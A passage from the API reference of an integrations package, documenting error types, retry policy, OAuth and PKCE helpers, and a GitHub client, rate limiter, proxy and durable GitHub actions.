webhook secret into `details`.

`new IntegrationError(reason, message, details?, { cause? }?)` extends
`SmithersError` with code `INTEGRATION_ERROR` and carries the
machine-readable `reason`.

| Reason                | Raised when                                                                                                                                                                                                                          |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `invalid-config`      | A declaration, option, or stored cursor is unusable.                                                                                                                                                                                 |
| `invalid-signature`   | A webhook signature did not verify.                                                                                                                                                                                                  |
| `decode-failed`       | A payload or response could not be read as expected.                                                                                                                                                                                 |
| `poll-failed`         | A polling source's request failed.                                                                                                                                                                                                   |
| `delivery-failed`     | An API call failed. `details.retryable` says whether another attempt is worth making, `details.retryAfterMillis` how long the server asked to wait first, and `details.outcomeUnknown` that the write may already have been applied. |
| `credentials-missing` | A required credential was not configured.                                                                                                                                                                                            |
| `permission-denied`   | The credential lacks the scope the operation needs.                                                                                                                                                                                  |
| `listener-conflict`   | An unowned hook holds a declared callback URL, or a reconcile apply lock is held.                                                                                                                                                    |
| `rate-limited`        | A rate limiter refused to wait for the budget. Nothing was sent; `details.retryAt` is the instant to retry.                                                                                                                          |

| Export               | Signature                                       | Notes                                                                           |
| -------------------- | ----------------------------------------------- | ------------------------------------------------------------------------------- |
| `reasons`            | `readonly Reason[]`                             | Every classification, in one runtime list.                                      |
| `isReason`           | `(value: unknown) => value is Reason`           | Whether a value is a classification this build can encode.                      |
| `isIntegrationError` | `(error: unknown) => error is IntegrationError` | Guarded against cross-instance forgeries and throwing getters.                  |
| `isRetryable`        | `(error: unknown) => boolean`                   | True when the error is an `IntegrationError` with `details.retryable === true`. |
| `toUnauthorized`     | `(error: IntegrationError) => Unauthorized`     | Maps onto the control plane's `Unauthorized`. Only the summary crosses.         |
| `toInvalidInput`     | `(error: IntegrationError) => InvalidInput`     | Maps onto the control plane's `InvalidInput`.                                   |

### Core.ActionFailure

The failure a durable action journals: the schema form of `IntegrationError`.
[Durable actions](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/integrations/docs/concepts/durable-actions.md) explains why a schema and
not the class, and why it comes in two tags.

| Export                        | Signature                                                             | Notes                                                                                                                                                                                                                                                                                                                                                                                                     |
| ----------------------------- | --------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Failure`                     | schema, `IntegrationFailure \| RetryableIntegrationFailure`           | What an integration action declares as its `error`.                                                                                                                                                                                                                                                                                                                                                       |
| `IntegrationFailure`          | `Schema.TaggedError`, tag `/integrations/IntegrationFailure`          | A failure another attempt cannot clear. Fields: `reason`, `message`, `retryable`, optional `outcomeUnknown`, optional `deliveredMessageIds`, optional `retryAfterMillis`.                                                                                                                                                                                                                                 |
| `RetryableIntegrationFailure` | `Schema.TaggedError`, tag `/integrations/RetryableIntegrationFailure` | A failure another attempt may clear, with the same fields. `retryAfterMillis` is the server's wait, which the engine's `RetryPolicy.decide` reads instead of the policy's backoff.                                                                                                                                                                                                                        |
| `retryPolicy`                 | `RetryPolicy`                                                         | The retry for a step that calls this package's clients: at most three attempts, 0.5 s then 1 s apart or the server's `retryAfterMillis` up to a minute, never an `IntegrationFailure`. The clients never retry, so this is the only retry.                                                                                                                                                                |
| `integrationFailureTag`       | `"/integrations/IntegrationFailure"`                                  | The tag `retryPolicy` lists as non-retryable.                                                                                                                                                                                                                                                                                                                                                             |
| `fromIntegrationError`        | `(error: unknown, options?: ConversionOptions) => Failure`            | A retryable error becomes a `RetryableIntegrationFailure`; anything else an `IntegrationFailure`. With `reconciles: true`, for a step that reads before it writes, a lost write is retryable too. Total: anything that is not a well-formed `IntegrationError` converts to a non-retryable `delivery-failed` instead of throwing inside `Effect.mapError`. The message is capped at `MAX_MESSAGE_LENGTH`. |
| `toIntegrationError`          | `(failure: Failure) => IntegrationError`                              | Converts back to the class, preserving `retryable`, `outcomeUnknown`, `deliveredMessageIds`, and `retryAfterMillis` in `details`.                                                                                                                                                                                                                                                                         |
| `Reason`                      | schema                                                                | The classification as a schema, built from `IntegrationError.reasons`.                                                                                                                                                                                                                                                                                                                                    |
| `MessageId`                   | schema                                                                | A provider message id: a positive integer within the safe range.                                                                                                                                                                                                                                                                                                                                          |
| `isMessageId`                 | `(value: unknown) => value is number`                                 | The refinement `MessageId` applies.                                                                                                                                                                                                                                                                                                                                                                       |
| `RetryAfterMillis`            | schema                                                                | A server-named wait: a non-negative safe integer of milliseconds.                                                                                                                                                                                                                                                                                                                                         |
| `isRetryAfterMillis`          | `(value: unknown) => value is number`                                 | The refinement `RetryAfterMillis` applies.                                                                                                                                                                                                                                                                                                                                                                |
| `MAX_MESSAGE_LENGTH`          | `512`                                                                 | The longest provider text a failure persists.                                                                                                                                                                                                                                                                                                                                                             |

### Core.Pkce

RFC 7636 PKCE parameters for the GitHub OAuth apps, drawn and hashed with
WebCrypto. All three helpers return lazy Effects. Invalid arguments fail with
`TypeError` or `RangeError` during execution, so callers can recover through
Effect. Randomness is drawn afresh on each execution.

| Export                | Signature                                                            | Notes                                                                                          |
| --------------------- | -------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| `createPkcePair`      | `(byteLength?: number) => Effect<PkcePair, TypeError \| RangeError>` | A fresh verifier with its S256 challenge, drawn each time the Effect runs.                     |
| `createCodeVerifier`  | `(byteLength?: number) => Effect<string, TypeError \| RangeError>`   | 32 to 96 bytes of entropy, producing the 43 to 128 characters RFC 7636 allows. Defaults to 32. |
| `deriveCodeChallenge` | `(codeVerifier: string) => Effect<string, TypeError \| RangeError>`  | Base64url of the verifier's SHA-256, unpadded.                                                 |

`PkcePair` fields: `codeVerifier`, `codeChallenge`, and
`codeChallengeMethod: "S256"`.

### Core.AuthorizationUrl

The RFC 6749 authorization-code request URL, with PKCE.

| Export                  | Signature                                   | Notes                                                                                                                                                                                               |
| ----------------------- | ------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `buildAuthorizationUrl` | `(request: AuthorizationRequest) => string` | Throws `TypeError` for a non-HTTPS endpoint (except HTTP loopback), an empty required field, or an `extraParams` key in `RESERVED_PARAMS`. `response_type` stays overridable through `extraParams`. |
| `RESERVED_PARAMS`       | `readonly string[]`                         | `client_id`, `redirect_uri`, `state`, `code_challenge`, `code_challenge_method`: the CSRF and PKCE bindings the builder validates.                                                                  |

`AuthorizationRequest` fields: `authorizationEndpoint` (absolute HTTPS URL, allowing HTTP only for
`localhost`, IPv4 loopback and `[::1]`; its own query parameters survive), `clientId`, `redirectUri`,
`state`, `codeChallenge`, optional `scope` (a string, or scopes to
space-join; omitted when empty), optional `codeChallengeMethod` (defaults to
`S256`), and optional `extraParams` applied after the standard parameters.

### Core.JsonPath

Dot-path reads over decoded provider payloads, used by the decoders instead
of type assertions.

| Export         | Signature                                                | Notes                                                                                                        |
| -------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ |
| `readJsonPath` | `(value: unknown, path?: string \| null) => unknown`     | Only own properties are read; arrays count as non-objects; an empty or absent path returns the value itself. |
| `readString`   | `(value: unknown, path: string) => string \| undefined`  | The value when it is a non-empty string.                                                                     |
| `readInteger`  | `(value: unknown, path: string) => number \| undefined`  | The value when it is an integer.                                                                             |
| `readHeader`   | `(raw: HasHeaders, name: string) => string \| undefined` | Case-insensitive header lookup over a transport-neutral record.                                              |

`HasHeaders` is anything with `headers` in the `RawInbound` shape.

### Core.AccessToken

Where a client gets its bearer token. `AccessTokenSource` has `token`
(`Effect<Redacted<string>, IntegrationError>`) and `invalidate`, which drops a
cached token after the provider refused it. `fixed(token)` always answers the
same token.

### Core.OAuthToken

Short-lived OAuth access tokens minted from a stored refresh token, behind an
`AccessTokenSource`. `make(options)` is an
`Effect<AccessTokenSource, IntegrationError, HttpClient>` that fails
`invalid-config` or `credentials-missing` for a bad endpoint or bound. The
source caches a token until `skew` before it expires and refreshes on demand;
a rotated refresh token is written back through the `RefreshTokenStore`
(`memoryStore`, or `credentialStore(credentials, reference)` over the control
plane's credential boundary with a compare-and-set). `exchangeCode` completes
an authorization-code grant as an `Effect<Grant, IntegrationError, HttpClient>`.
`exchangeRefreshToken` presents one refresh token once and returns the whole
`Grant`, rotation included, for a host that stores refresh tokens itself, such
as one per signed-in person; a lost answer reports `outcomeUnknown`, because
GitHub's refresh tokens are single-use. No token request is ever repeated: a
429, and a 5xx or lost connection on a refresh that may be presented again,
fail `retryable` with the server's `Retry-After` as `retryAfterMillis`, for the
retry policy of the step that asked. When another source sharing the stored
refresh token rotated it first, the refused source fails `retryable`
`permission-denied`, with `retryAfterMillis: 0` when the stored token has
already changed and `ROTATION_SETTLE_MS` (500) when it may still be
persisting; the next attempt presents the stored token. A redirect from the token endpoint fails with
its status and the form never leaves for its `Location`. An OAuth error body is
a refusal whatever the status, since GitHub answers one with `200 OK`.
`reasonForOAuthError` maps an OAuth error code, GitHub's
`bad_verification_code`, `bad_refresh_token`, `incorrect_client_credentials`
and `redirect_uri_mismatch` included, to an `IntegrationError` reason.

### Core.Connection

A configured provider connection as journal-safe data: `id`, `provider`,
`label`, `credential` (a `CredentialReference`, never the secret), the granted
`scopes`, `personal`, `containers`, and an optional `apiBaseUrl`.

| Export              | Signature                                                                                           | Notes                                                                                                                              |
| ------------------- | --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| `Connection`        | schema                                                                                              | `decode` decodes an unknown value.                                                                                                 |
| `ANY_CONTAINER`     | `"*"`                                                                                               | Allows every container. An empty list allows none.                                                                                 |
| `containersAllowed` | `(connection, container: string) => boolean`                                                        | Whether the connection lists the container or `*`.                                                                                 |
| `personalPolicy`    | `({ personalPrincipals, shared? }) => Authorize`                                                    | Fail-closed host policy: a personal connection only for the named principals.                                                      |
| `resolveSecret`     | `({ credentials, connection, principal, authorize }) => Effect<Redacted<string>, IntegrationError>` | Asks `authorize` first, then the broker. A refusal is `permission-denied`; missing or unopenable storage is `credentials-missing`. |

### Core.SourceRecord, Core.SourceStore, Core.Source, Core.Sync

Retrieved provider objects as versioned, access-scoped records, and the
driver that keeps them current.

- `SourceRecord`: the record schema (identity, `access` scope and containers,
  `thread`, author, text, payload, version, deletion) with `compare`,
  `supersedes`, `tombstone`, and `reference`.
- `SourceStore`: `layerMemory` and `layerSql` (requires `Core.Migrations`).
  `commit` applies a page and advances the stream cursor in one transaction;
  a copy replaces the stored one only when it is newer; tombstones and
  revocation purge content; `retrieve` filters by the caller's `Grant`s inside
  the query; `validate` re-checks references a run kept.
- `Sync.runSync(adapter, options)`: reads the committed cursor, asks the
  `SyncAdapter` for pages, and commits each. A `reset` listing tombstones
  whatever it did not contain. A revoked connection is refused first.
- `Source.runWithCursor(sourceId, poll, onBatch, options)`: runs inside a flow
  implementation with `RunContext`. It journals poll results, handler receipts
  and cursor commits separately, committing only after the handler succeeds.
  `options.intervalMs` defaults to 250 and uses the durable clock;
  `options.maxTurns` optionally bounds the run. The former `schedule` option
  and `DEFAULT_SCHEDULE` are removed. Callbacks fail with `IntegrationError`,
  encoded by `ActionFailure.Failure`; arbitrary unencodable errors are not a
  durable contract. Use a persistent cursor store and durable host in production,
  with one active driver per source and one call per source per execution.
  An enclosing orchestration action must be keyed for recovery. Handlers are
  unkeyed irreversible actions: an unfinished handler is not automatically
  retried, while a completed handler replays its receipt.
- `SourceRecord.compareVersion`: missing tokens sort first, then decimals by
  exact numeric value (code-unit spelling breaks numeric ties), then opaque
  tokens by code unit. This is transitive across mixed token classes.

## Environment

`@smthrs/integrations/Environment`: explicit access to the host's process
environment, the one place the package spells that decision.

| Export               | Signature                                             | Notes                                                                                                                                                                                                              |
| -------------------- | ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `ambientEnvironment` | `() => Readonly<Record<string, string \| undefined>>` | Reads the ambient process environment, or `{}` on a host without one, such as a browser or a Worker without `nodejs_compat`. Callers that require account isolation pass an environment record explicitly instead. |

## GitHub

The GitHub surface, exported as `GitHub` or from `@smthrs/integrations/github`.

### GitHub.Config

Credential and endpoint resolution. Explicit configuration wins; what it
omits falls back to `env`, which defaults to the ambient environment.

`GitHubConfig` fields: `token` (falls back to `SMITHERS_GITHUB_TOKEN`, then
`GITHUB_TOKEN` only when omitted; an explicitly blank token suppresses
token authentication), `apiBaseUrl` (falls back to `SMITHERS_GITHUB_API_BASE_URL`,
default `https://api.github.com`), and `requestTimeout` (defaults to 30
seconds). There is no retry budget: the client never repeats a request, and the
retry policy of the durable step that calls it is the only retry.

`requestTimeout` is the deadline for one request, covering the response
headers and the body read. A retry policy sees only attempts that end, so
without it a peer that answers and then trickles the body forever holds the
call open. It must be a finite, positive `Duration.Input`.

| Export                    | Signature                                               | Notes                                                        |
| ------------------------- | ------------------------------------------------------- | ------------------------------------------------------------ |
| `resolve`                 | `(config?: GitHubConfig, env?) => ResolvedGitHubConfig` | Explicit token wins, including blank; fallbacks are trimmed. |
| `DEFAULT_API_BASE_URL`    | `"https://api.github.com"`                              | The public REST endpoint.                                    |
| `DEFAULT_REQUEST_TIMEOUT` | `Duration.seconds(30)`                                  | The default per-request deadline.                            |

### GitHub.GitHubClient

The REST client. Retry classification, bounded pagination, and token hygiene:
the token reaches the `Authorization` header and nothing else, and every
request URL, including a `rel="next"` target, is pinned to the configured API
origin. A 3xx is not followed: it fails `delivery-failed` with its status, so
the token never reaches a `Location` host. Provider and transport errors redact the token and Authorization
header value from summaries, details, and retained cause messages before
construction. Raw upstream stacks and nested causes are discarded.

Service interface:

| Method     | Signature                                                                                                                                                                                                                                              | Notes                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `request`  | `(method: RequestMethod, path: string, body?: unknown, options?: RequestOptions) => Effect<unknown, IntegrationError>`, or `<A>(method: RequestMethod, path: string, body: unknown, options: DecodedRequestOptions<A>) => Effect<A, IntegrationError>` | One REST call. Without a schema the result is the parsed JSON as `unknown`; a `schema` decodes it, fixes the result type, and fails `decode-failed` when the body does not match. A rate limit (a 429, or the 403 forms GitHub uses for a secondary limit) is never repeated: it fails `retryable` for every method, with the server's `Retry-After` or `x-ratelimit-reset`, capped at one minute, as `details.retryAfterMillis`. A 5xx or transport failure is `retryable` only for a read, with a 5xx's `Retry-After`; on a write it always reports `outcomeUnknown`; `retryUnsafeWrites` additionally permits retrying. The retry policy of the step that made the call decides whether there is another attempt. An unserializable body or an unparseable path fails `invalid-config` before any request. Interrupting the fiber aborts the request in flight. Each request also carries the configured `requestTimeout`; expiring aborts the exchange and fails `delivery-failed` with `timedOut: true`, and on a write with `outcomeUnknown: true`. |
| `paginate` | `(path: string, options?: { perPage?: number; maxPages?: number }) => Effect<Page, IntegrationError>`                                                                                                                                                  | Follows `Link: rel="next"` within the page budget and concatenates the pages. `perPage` defaults to 100 and accepts 1 to 100; `maxPages` defaults to 10 and accepts 1 to 1000. A bound outside its range fails `invalid-config` before the first request. Running out of budget with a next link outstanding is reported as `truncated: true`, never as a short but complete answer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `count`    | `(path: string, options?: RequestOptions) => Effect<Count, IntegrationError>`                                                                                                                                                                          | One request for pages of one item (`per_page=1`): `total` is the `rel="last"` link's page, so a repository's branches, tags, commits or contributors are counted without walking them, and `first` is the first item as parsed JSON (`undefined` for an empty list). A list with no `last` link holds what its one page holds.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |

| Export                | Signature                                                                             | Notes                                                                                                                                                                                         |
| --------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `GitHubClient`        | service tag and interface                                                             |                                                                                                                                                                                               |
| `make`                | `(config?: GitHubConfig, env?) => Effect<GitHubClient, IntegrationError, HttpClient>` | Builds the client over the `HttpClient` in context. Fails `invalid-config` for an `apiBaseUrl` that is not a valid HTTP(S) URL or a `requestTimeout` that is not a finite, positive duration. |
| `layer`               | `(config?: GitHubConfig, env?) => Layer<GitHubClient, IntegrationError, HttpClient>`  | The client as a layer. An invalid config fails the build with `invalid-config`.                                                                                                               |
| `isRateLimitResponse` | `(status: number, headers: Headers, body: unknown) => boolean`                        | Whether a response is GitHub telling the client to slow down.                                                                                                                                 |
| `retryAfterMs`        | `(headers: Headers, nowMs?: number) => number \| null`                                | The wait a rate limit asked for, from `Retry-After` or `x-ratelimit-reset`, capped at one minute.                                                                                             |
| `nextPageUrl`         | `(linkHeader: string \| null) => string \| null`                                      | The `rel="next"` URL in an RFC 5988 `Link` header.                                                                                                                                            |
| `lastPageNumber`      | `(linkHeader: string \| null) => number \| null`                                      | The `page` of the `rel="last"` URL in an RFC 5988 `Link` header; `null` without one or for a page that isn't a whole number.                                                                  |
| `UNSAFE_METHODS`      | `readonly RequestMethod[]`                                                            | `POST`, `PATCH`, `PUT`, `DELETE`: the verbs whose effect the server may already have applied when the answer is lost.                                                                         |
| `MAX_PER_PAGE`        | `100`                                                                                 | The largest `per_page` GitHub accepts.                                                                                                                                                        |
| `DEFAULT_MAX_PAGES`   | `10`                                                                                  | The default page budget.                                                                                                                                                                      |
| `MAX_PAGES_LIMIT`     | `1000`                                                                                | The largest accepted page budget.                                                                                                                                                             |
| `PROXY_RETRY_AT`      | `"x-smithers-retry-at"`                                                               | The header in which the GitHub proxy names when a refused request may be retried.                                                                                                             |
| `PROXY_REASON`        | `"x-smithers-rate-limit-reason"`                                                      | The header in which the GitHub proxy names why it refused.                                                                                                                                    |

A `429` that carries `PROXY_RETRY_AT` comes from the [GitHub proxy](#githubproxy),
which never sent the request to GitHub. The client fails `rate-limited` at once
with `details.retryAt` and does not repeat the call, because a retry before
that instant only waits again.

`RequestOptions` fields: `query` and `retryUnsafeWrites`.
`DecodedRequestOptions<A>` adds the required `schema`, whose type is the
request's result type: a caller cannot name a response type the client never
decoded. `Page` fields: `items` and `truncated`. `RequestMethod` is
`"GET" | "POST" | "PATCH" | "PUT" | "DELETE"`.

GraphQL rate-limit errors returned with HTTP 200 or 403 are classified before
schema decoding, retaining `Retry-After` and reset timing. A response carrying
partial mutation data is left to the action to reconcile. `/graphql` uses
`/api/graphql` for Enterprise REST bases ending in `/api/v3`.

### GitHub.AppAuth

A GitHub App's own authentication: the RS256 JWT and installation tokens,
through WebCrypto. The private key may be PKCS#1 PEM, as GitHub downloads it,
or PKCS#8 PEM, with newlines optionally escaped as `\n`. Every call goes
through a `GitHubClient` built with the JWT and an empty environment. Neither
the key, the JWT, nor a minted token appears in an error or a span attribute.

| Export                      | Signature                                                                        | Notes                                                                                                                                                                                                              |
| --------------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `make`                      | `(credentials: AppCredentials) => Effect<AppAuth, IntegrationError, HttpClient>` | `AppCredentials`: `appId`, `privateKey: Redacted<string>`, `apiBaseUrl?`, `requestTimeout?`. A key that does not parse or import, or a bad `appId`, fails `invalid-config`.                                        |
| `layer`                     | `(credentials: AppCredentials) => Layer<AppAuth, IntegrationError, HttpClient>`  | Service tag `AppAuth` (`@smthrs/integrations/AppAuth`).                                                                                                                                                            |
| `AppAuth.jwt`               | `Effect<Redacted<string>, IntegrationError>`                                     | RS256; `iat` 60 s back, `exp` 9 minutes ahead, `iss` the app ID; time from the `Clock` service.                                                                                                                    |
| `AppAuth.installation`      | `(owner, repo) => Effect<{ id: number }, IntegrationError>`                      | `GET /repos/{owner}/{repo}/installation`. Not installed fails `delivery-failed`, `details.status` 404, not retryable.                                                                                              |
| `AppAuth.installationToken` | `(options) => Effect<InstallationToken, IntegrationError>`                       | `POST /app/installations/{id}/access_tokens`, narrowed by `repositories`, `repositoryIds` and `permissions`. `InstallationToken`: `token: Redacted<string>`, `expiresAt` (epoch ms). A lost answer is `retryable`. |
| `importPrivateKey`          | `(pem: Redacted<string>) => Effect<CryptoKey, IntegrationError>`                 | PKCS#1 or PKCS#8 PEM to a non-extractable RS256 signing key.                                                                                                                                                       |
| `JWT_BACKDATE_SECONDS`      | `60`                                                                             | How far back `iat` is set.                                                                                                                                                                                         |
| `JWT_LIFETIME_SECONDS`      | `540`                                                                            | How far ahead `exp` is set.                                                                                                                                                                                        |

### GitHub.RateLimit

The limiter the [GitHub proxy](#githubproxy) runs for each principal, so a
machine stays inside GitHub's documented limits. Before a request it waits for
a write slot (`POST`, `PATCH`, `PUT`, `DELETE`: 1 s apart, at most 80 a minute
and 500 an hour), a concurrency permit (50), the pause a limit response
imposed, and the primary budget of the request's resource, modeled from every
response's `x-ratelimit-*` headers. A `403` or `429` limit response pauses
every caller: for `retry-after`, until `x-ratelimit-reset` when the budget is
spent, or for at least a minute, doubling while limits persist. A wait longer
than `maxWait` fails `rate-limited` without running the request.

| Export             | Signature                                                                             | Notes                                                                                                                                                                                                             |
| ------------------ | ------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make`             | `(options?: { limits?: Limits; maxWait?: Duration }) => Effect<RateLimiter>`          | A limiter with its own state.                                                                                                                                                                                     |
| `RateLimiter`      | `{ limit(method, path, attempt, observe), earliestStart(writes, path) }`              | `limit` runs `attempt` once the budget allows and folds `observe(exit)` into it; `earliestStart` books nothing.                                                                                                   |
| `Observation`      | `{ headers?: Headers; limited: boolean }`                                             | What one finished attempt tells the limiter.                                                                                                                                                                      |
| `resolveLimits`    | `(explicit?: Partial<Limits>, env?) => Limits`                                        | Explicit values, then `SMITHERS_GITHUB_MAX_CONCURRENT`, `_WRITE_SPACING_MS`, `_WRITES_PER_MINUTE`, `_WRITES_PER_HOUR`, `_MIN_PAUSE_MS`, `_MAX_PAUSE_MS`, then the defaults. Throws for a value below its minimum. |
| `DEFAULT_LIMITS`   | `Limits`                                                                              | 50 concurrent, 1000 ms spacing, 80 per minute, 500 per hour, 60 s minimum pause, 1 h maximum pause.                                                                                                               |
| `DEFAULT_MAX_WAIT` | `Duration.minutes(1)`                                                                 | The longest one request waits.                                                                                                                                                                                    |
| `rateLimited`      | `(retryAt: number, reason: string, method: string, path: string) => IntegrationError` | The `rate-limited` failure: `details` carries `retryAt`, `reason`, `method`, `path`, `rateLimited: true`, `retryable: false`.                                                                                     |
| `waits`, `pauses`  | `Metric` counters                                                                     | `smithers_github_rate_limit_waits` by `reason` (`spacing`, `paused`, `budget`) and `smithers_github_rate_limit_pauses`.                                                                                           |

### GitHub.Proxy

The machine's one GitHub client: a reverse proxy that every other GitHub
client on the machine calls instead of `api.github.com`. It owns one
`RateLimit` limiter per principal and the credential: it drops any
`Authorization` a caller sends and injects the principal's token. A request
the limiter will not wait for is answered `429` with `retry-after`,
`PROXY_RETRY_AT`, and `PROXY_REASON`. Everything else is forwarded once with
GitHub's status, headers, and body; a `rel="next"` link is rewritten to the
proxy. A redirect from GitHub is answered to the caller, never followed with
the injected token. A transport failure is `502` and a deadline `504`; the
proxy never repeats a request. The [GitHub guide](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/integrations/docs/guides/github.md#stay-inside-githubs-rate-limits)
shows how to run it.

| Export           | Signature                                                                                                    | Notes                                                                                                                                                                                                   |
| ---------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make`           | `(options: ProxyOptions) => Effect<Effect<HttpServerResponse, never, HttpServerRequest>, never, HttpClient>` | The proxy as an HTTP application, calling GitHub through the `HttpClient` in context.                                                                                                                   |
| `layer`          | `(options: ProxyOptions) => Layer<never, never, HttpServer \| HttpClient>`                                   | Serves it on the `HttpServer` in context, such as `NodeHttpServer.layer`, and calls GitHub through the `HttpClient` in context, such as `FetchHttpClient.layer`.                                        |
| `ProxyOptions`   | `{ credential, upstream?, capability?, limits?, maxWait?, requestTimeout? }`                                 | `credential(repository)` answers `{ token, principal }` for a request on `owner/name` or on no repository. `capability`, when set, is required from every caller as `Authorization: Bearer` or `token`. |
| `Credential`     | `{ token: string; principal: string }`                                                                       | Credentials with one `principal` share one budget.                                                                                                                                                      |
| `repositoryOf`   | `(path: string) => string \| undefined`                                                                      | The `owner/name` a REST path addresses.                                                                                                                                                                 |
| `CONTROL_PREFIX` | `"/_smithers/"`                                                                                              | `GET /_smithers/health` answers `{ ok: true }`. `GET /_smithers/admission?repo=owner/name&writes=n` answers `{ principal, startsAt, deferred }` without booking anything.                               |

### GitHub.Repository

Repository coordinates, validated before they become a request path. Encoding
is not enough: `encodeURIComponent("..")` is `".."`, and the URL parser
removes dot segments afterwards, so an unvalidated repository string walks a
token-bearing request to a different GitHub endpoint on the same origin.
Every path this package builds from an owner and a repository goes through
`repositoryPath`.

| Export                  | Signature                                                           | Notes                                                                                                                                           |
| ----------------------- | ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| `repositoryPath`        | `(owner: string, repo: string) => string`                           | Validated, then encoded. Throws an `IntegrationError` `invalid-config` when either half is not a name GitHub could have issued.                 |
| `fullNamePath`          | `(fullName: string) => string`                                      | The same, for the `owner/repository` spelling a listener declaration uses.                                                                      |
| `requireRepositoryPath` | `(owner: string, repo: string) => Effect<string, IntegrationError>` | `repositoryPath` in the Effect channel.                                                                                                         |
| `requireFullNamePath`   | `(fullName: string) => Effect<string, IntegrationError>`            | `fullNamePath` in the Effect channel.                                                                                                           |
| `isOwner` / `isRepo`    | `(value: unknown) => value is string`                               | Refinements over `OWNER_PATTERN` and `REPO_PATTERN`.                                                                                            |
| `Owner` / `Repo`        | schemas                                                             | The same rules as schemas an action payload can demand.                                                                                         |
| `IssueNumber`           | schema                                                              | An integer of at least 1.                                                                                                                       |
| `OWNER_PATTERN`         | regex                                                               | 1 to 39 characters, alphanumerics and hyphens, not starting with a hyphen, with one underscore allowed as an Enterprise Managed User separator. |
| `REPO_PATTERN`          | regex                                                               | 1 to 100 characters of alphanumerics, dots, underscores, and hyphens, excluding `.` and `..`.                                                   |

### GitHub.Payload

Schemas for the webhook payloads this package types: `User`, `Repository`,
`PullRequest`, `Issue`, `Comment`, `PullRequestEvent`, `IssuesEvent`,
`IssueCommentEvent`, and `PushEvent`. Every schema validates the fields a
caller is likely to read and passes everything else through untouched.

### GitHub.Actions

The durable GitHub actions. [Durable actions](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/integrations/docs/concepts/durable-actions.md)
explains the pattern.

| Export                                                                          | Signature                                                     | Notes                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| ------------------------------------------------------------------------------- | ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `CommentOnIssue`                                                                | `Action`, tag `integrations/github/comment-on-issue`          | Posts a comment on an issue or pull request. Tier `irreversible`, never retried. Error schema `Failure`; a rate limit fails `RetryableIntegrationFailure` with `retryAfterMillis`, and nothing was posted.                                                                                                                                                                                                                                                                                  |
| `CommentOnIssuePayload`                                                         | schema                                                        | `owner`, `repo`, `issueNumber`, `body`. The coordinates demand the `Owner` and `Repo` shapes, so a payload built from a webhook body or a model's output fails to decode rather than reaching the API.                                                                                                                                                                                                                                                                                      |
| `Comment`                                                                       | schema                                                        | The comment GitHub created: `id` and `url`.                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `layerCommentOnIssue`                                                           | `Layer<Requirement<...>, never, GitHubClient \| FlowRuntime>` | Implements the action over the client in context.                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `retryPolicy`                                                                   | `RetryPolicy`                                                 | `Core.ActionFailure.retryPolicy`, for the keyed write-back actions below: at most three attempts, waiting the server's `retryAfterMillis` when it named one, and never an `IntegrationFailure`. A lost write is retryable here, because each attempt reads before it writes. Error schema `Failure`.                                                                                                                                                                                        |
| `AddLabels`                                                                     | `Action`, tag `integrations/github/add-labels`                | Adds the labels in `labels` the issue lacks, compared without case. Keyed; reads the labels first. Success: `added`, `labels`.                                                                                                                                                                                                                                                                                                                                                              |
| `UpsertComment`                                                                 | `Action`, tag `integrations/github/upsert-comment`            | Requires `author: { login }` for user tokens or `author: { appId }` for installation tokens. Adopts only that author’s comment whose first line is `stickyMarker(key)` (Apps also require `user.type: Bot`). Without `key`, the comment is the running execution’s (`runKey`): one per run, never another run’s. Pass `key` only for a domain key recorded before the write. Keyed. Fails without writing on a thread longer than `RECONCILE_PAGES` pages. Success: `id`, `url`, `outcome`. |
| `stickyMarker`                                                                  | `(key: string) => string`                                     | `<!-- smithers:key=KEY -->`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `runKey`                                                                        | `(action: string) => Effect<string>`                          | `run:` and 32 hex of SHA-256 over the running execution’s id: the key `UpsertComment` and `CheckRun` use when the payload names none. Dies with `Action.EffectKeyUnavailable` outside a flow execution.                                                                                                                                                                                                                                                                                     |
| `CheckRun`                                                                      | `Action`, tag `integrations/github/check-run`                 | Requires the authenticated App’s numeric `appId`. Creates or updates that App’s check run whose `external_id` is `key` on `headSha`; without `key`, the running execution’s (`runKey`), one per run and name. Keyed. Needs a GitHub App installation token. Success: `id`, `url`, `status`, `conclusion`, `created`.                                                                                                                                                                        |
